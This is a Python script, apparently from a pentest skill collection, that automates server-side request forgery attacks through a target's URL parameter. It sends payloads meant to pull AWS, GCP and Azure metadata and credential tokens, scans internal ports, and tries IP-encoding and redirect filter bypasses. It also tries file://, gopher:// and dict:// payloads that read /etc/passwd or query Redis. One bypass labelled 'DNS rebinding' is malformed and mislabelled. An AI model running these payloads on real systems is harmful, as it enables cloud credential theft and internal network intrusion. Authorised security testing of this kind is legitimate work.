Performing Ssrf Vulnerability Exploitation

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#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""SSRF Vulnerability Testing Agent - Tests for Server-Side Request Forgery via URL parameters."""

import json
import logging
import argparse
from datetime import datetime

import requests

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

METADATA_PAYLOADS = [
    {"name": "AWS IMDSv1 metadata", "url": "http://169.254.169.254/latest/meta-data/", "indicator": "ami-id"},
    {"name": "AWS IAM credentials", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "indicator": "AccessKeyId"},
    {"name": "AWS user-data", "url": "http://169.254.169.254/latest/user-data", "indicator": ""},
    {"name": "GCP metadata", "url": "http://metadata.google.internal/computeMetadata/v1/", "indicator": "attributes"},
    {"name": "GCP service account token", "url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "indicator": "access_token"},
    {"name": "Azure IMDS", "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "indicator": "compute"},
    {"name": "Azure managed identity", "url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", "indicator": "access_token"},
]

INTERNAL_SCAN_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

BYPASS_PAYLOADS = [
    {"name": "Decimal IP", "url": "http://2852039166/latest/meta-data/"},
    {"name": "Hex IP", "url": "http://0xa9fea9fe/latest/meta-data/"},
    {"name": "Octal IP", "url": "http://0251.0376.0251.0376/latest/meta-data/"},
    {"name": "IPv6 mapped", "url": "http://[::ffff:169.254.169.254]/latest/meta-data/"},
    {"name": "Short URL localhost", "url": "http://0/"},
    {"name": "Redirect bypass", "url": "http://spoofed.burpcollaborator.net/redirect?url=http://169.254.169.254/"},
    {"name": "DNS rebinding", "url": "http://a]@169.254.169.254/latest/meta-data/"},
]


def test_ssrf_payload(target_url, ssrf_payload, timeout=10):
    """Send an SSRF payload through the target URL parameter."""
    test_url = f"{target_url}{ssrf_payload}"
    try:
        resp = requests.get(test_url, timeout=timeout, allow_redirects=False, verify=False)
        return {
            "status_code": resp.status_code,
            "response_length": len(resp.content),
            "response_preview": resp.text[:500],
            "headers": dict(resp.headers),
        }
    except requests.RequestException as e:
        return {"error": str(e)}


def test_metadata_endpoints(target_url):
    """Test cloud metadata SSRF payloads."""
    findings = []
    for payload in METADATA_PAYLOADS:
        result = test_ssrf_payload(target_url, payload["url"])
        vulnerable = False
        if "error" not in result:
            if result["status_code"] == 200 and result["response_length"] > 10:
                if payload["indicator"] and payload["indicator"] in result.get("response_preview", ""):
                    vulnerable = True
                elif not payload["indicator"] and result["response_length"] > 50:
                    vulnerable = True
        findings.append({
            "test": payload["name"],
            "payload": payload["url"],
            "vulnerable": vulnerable,
            "severity": "critical" if vulnerable else "info",
            "response_status": result.get("status_code"),
            "response_length": result.get("response_length", 0),
        })
        if vulnerable:
            logger.warning("SSRF confirmed: %s", payload["name"])
    return findings


def test_internal_port_scan(target_url, internal_ip="127.0.0.1"):
    """Use SSRF to scan internal ports."""
    open_ports = []
    for port in INTERNAL_SCAN_PORTS:
        payload = f"http://{internal_ip}:{port}/"
        result = test_ssrf_payload(target_url, payload, timeout=5)
        if "error" not in result and result["status_code"] != 502:
            open_ports.append({
                "ip": internal_ip,
                "port": port,
                "status": result["status_code"],
                "response_length": result["response_length"],
            })
            logger.info("Internal port open: %s:%d (status: %d)", internal_ip, port, result["status_code"])
    return open_ports


def test_bypass_techniques(target_url):
    """Test SSRF filter bypass techniques."""
    bypass_results = []
    for payload in BYPASS_PAYLOADS:
        result = test_ssrf_payload(target_url, payload["url"], timeout=5)
        success = "error" not in result and result.get("status_code") == 200 and result.get("response_length", 0) > 10
        bypass_results.append({
            "technique": payload["name"],
            "payload": payload["url"],
            "bypassed": success,
            "severity": "high" if success else "info",
        })
        if success:
            logger.warning("SSRF bypass succeeded: %s", payload["name"])
    return bypass_results


def test_protocol_handlers(target_url):
    """Test non-HTTP protocol handlers for SSRF."""
    protocols = [
        {"name": "file:// protocol", "url": "file:///etc/passwd", "indicator": "root:"},
        {"name": "gopher:// protocol", "url": "gopher://127.0.0.1:6379/_INFO", "indicator": "redis"},
        {"name": "dict:// protocol", "url": "dict://127.0.0.1:6379/INFO", "indicator": "redis"},
    ]
    results = []
    for proto in protocols:
        result = test_ssrf_payload(target_url, proto["url"], timeout=5)
        vulnerable = (
            "error" not in result
            and result.get("status_code") == 200
            and proto["indicator"] in result.get("response_preview", "")
        )
        results.append({
            "protocol": proto["name"],
            "payload": proto["url"],
            "vulnerable": vulnerable,
            "severity": "critical" if vulnerable else "info",
        })
    return results


def generate_report(metadata_findings, port_scan, bypass_results, protocol_results):
    """Generate SSRF assessment report."""
    critical = (
        [f for f in metadata_findings if f["vulnerable"]]
        + [b for b in bypass_results if b["bypassed"]]
        + [p for p in protocol_results if p["vulnerable"]]
    )
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "metadata_tests": metadata_findings,
        "internal_port_scan": port_scan,
        "bypass_techniques": bypass_results,
        "protocol_handlers": protocol_results,
        "vulnerabilities_found": len(critical),
    }
    print(f"SSRF REPORT: {len(critical)} vulnerabilities found")
    return report


def main():
    parser = argparse.ArgumentParser(description="SSRF Vulnerability Testing Agent")
    parser.add_argument("--target-url", required=True, help="Target URL with SSRF parameter (e.g. https://app/fetch?url=)")
    parser.add_argument("--internal-ip", default="127.0.0.1", help="Internal IP for port scan")
    parser.add_argument("--output", default="ssrf_report.json")
    args = parser.parse_args()

    metadata = test_metadata_endpoints(args.target_url)
    ports = test_internal_port_scan(args.target_url, args.internal_ip)
    bypasses = test_bypass_techniques(args.target_url)
    protocols = test_protocol_handlers(args.target_url)

    report = generate_report(metadata, ports, bypasses, protocols)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()